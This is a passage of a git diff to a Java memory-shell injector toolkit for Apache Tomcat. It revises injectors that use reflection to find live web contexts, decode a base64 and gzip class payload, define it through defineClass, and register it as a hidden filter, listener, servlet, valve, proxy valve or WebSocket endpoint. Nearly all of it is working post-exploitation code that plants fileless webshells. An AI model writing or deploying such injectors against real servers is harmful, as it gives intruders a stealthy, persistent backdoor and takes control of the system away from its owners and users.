try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -34,18 +71,6 @@ public class TomcatFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TomcatFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* org.apache.catalina.core.StandardContext
|
||||
* /usr/local/tomcat/server/lib/catalina.jar
|
||||
@@ -80,22 +105,23 @@ public class TomcatFilterInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object shell) throws Exception {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
}
|
||||
Object filterDef;
|
||||
@@ -139,7 +165,11 @@ public class TomcatFilterInjector {
|
||||
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(getClassName(), filterConfig);
|
||||
System.out.println("filter inject success");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -209,6 +239,21 @@ public class TomcatFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+71
-30
@@ -3,32 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Tomcat Listener 注入器
|
||||
* 测试版本:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class TomcatListenerInjector {
|
||||
|
||||
public TomcatListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -38,8 +24,47 @@ public class TomcatListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public TomcatListenerInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += " [/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
@@ -66,18 +91,19 @@ public class TomcatListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -87,26 +113,26 @@ public class TomcatListenerInjector {
|
||||
List<Object> listeners = (List<Object>) objects;
|
||||
for (Object o : listeners) {
|
||||
if (o.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
listeners.add(listener);
|
||||
System.out.println("listener inject successful");
|
||||
} else {
|
||||
ArrayList arrayList = new ArrayList(Arrays.asList(objects));
|
||||
List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
arrayList.add(listener);
|
||||
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()});
|
||||
System.out.println("listener inject successful");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
@@ -152,7 +178,7 @@ public class TomcatListenerInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -200,4 +226,19 @@ public class TomcatListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+66
-14
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -20,17 +21,45 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
|
||||
private Object rawValve;
|
||||
private Object proxyValve;
|
||||
private String msg = "";
|
||||
|
||||
public TomcatProxyValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||
@@ -57,8 +86,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
return method.invoke(rawValve, args);
|
||||
}
|
||||
return method.invoke(rawValve, args);
|
||||
}
|
||||
return method.invoke(rawValve, args);
|
||||
}
|
||||
@@ -94,15 +123,17 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -114,13 +145,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
String fieldName = "first";
|
||||
try {
|
||||
rawValve = getFieldValue(pipeline, fieldName);
|
||||
} catch (NoSuchFieldException e) {
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
if (rawValve == null) {
|
||||
fieldName = "basic";
|
||||
rawValve = getFieldValue(pipeline, fieldName);
|
||||
}
|
||||
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
|
||||
setFieldValue(pipeline, fieldName, proxyValve);
|
||||
System.out.println("proxyValve inject successful");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -168,7 +205,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -208,4 +245,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+70
-30
@@ -3,11 +3,15 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -16,17 +20,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TomcatServletInjector {
|
||||
|
||||
public TomcatServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -40,6 +34,45 @@ public class TomcatServletInjector {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public TomcatServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -68,24 +101,24 @@ public class TomcatServletInjector {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("servlet already injected");
|
||||
if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||
return;
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
@@ -104,19 +137,11 @@ public class TomcatServletInjector {
|
||||
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
|
||||
}
|
||||
support56Inject(context, wrapper);
|
||||
System.out.println("servlet inject success");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings");
|
||||
Collection<String> values = servletMappings.values();
|
||||
for (String name : values) {
|
||||
if (name.equals(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
private void support56Inject(Object context, Object wrapper) throws Exception {
|
||||
@@ -249,4 +274,19 @@ public class TomcatServletInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+72
-38
@@ -3,34 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Valve 注入器
|
||||
* Tested version:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v8.5.83, v9.0.67
|
||||
*
|
||||
* @author ReaJason
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class TomcatValveInjector {
|
||||
|
||||
public TomcatValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -40,6 +24,45 @@ public class TomcatValveInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TomcatValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -62,42 +85,38 @@ public class TomcatValveInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object v : valvesList) {
|
||||
if (v.getClass().getName().contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
System.out.println("valve injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -144,7 +163,7 @@ public class TomcatValveInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -172,4 +191,19 @@ public class TomcatValveInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+69
-20
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -18,17 +19,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TomcatWebSocketInjector {
|
||||
|
||||
public TomcatWebSocketInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object obj = getShell(context);
|
||||
inject(obj, context);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -42,6 +33,44 @@ public class TomcatWebSocketInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TomcatWebSocketInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
@@ -73,21 +102,23 @@ public class TomcatWebSocketInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
private void inject(Object obj, Object context) throws Exception {
|
||||
private void inject(Object context, Object obj) throws Exception {
|
||||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||
if (container == null) {
|
||||
@@ -95,11 +126,10 @@ public class TomcatWebSocketInjector {
|
||||
}
|
||||
|
||||
if (container == null) {
|
||||
return;
|
||||
throw new RuntimeException("container is null");
|
||||
}
|
||||
|
||||
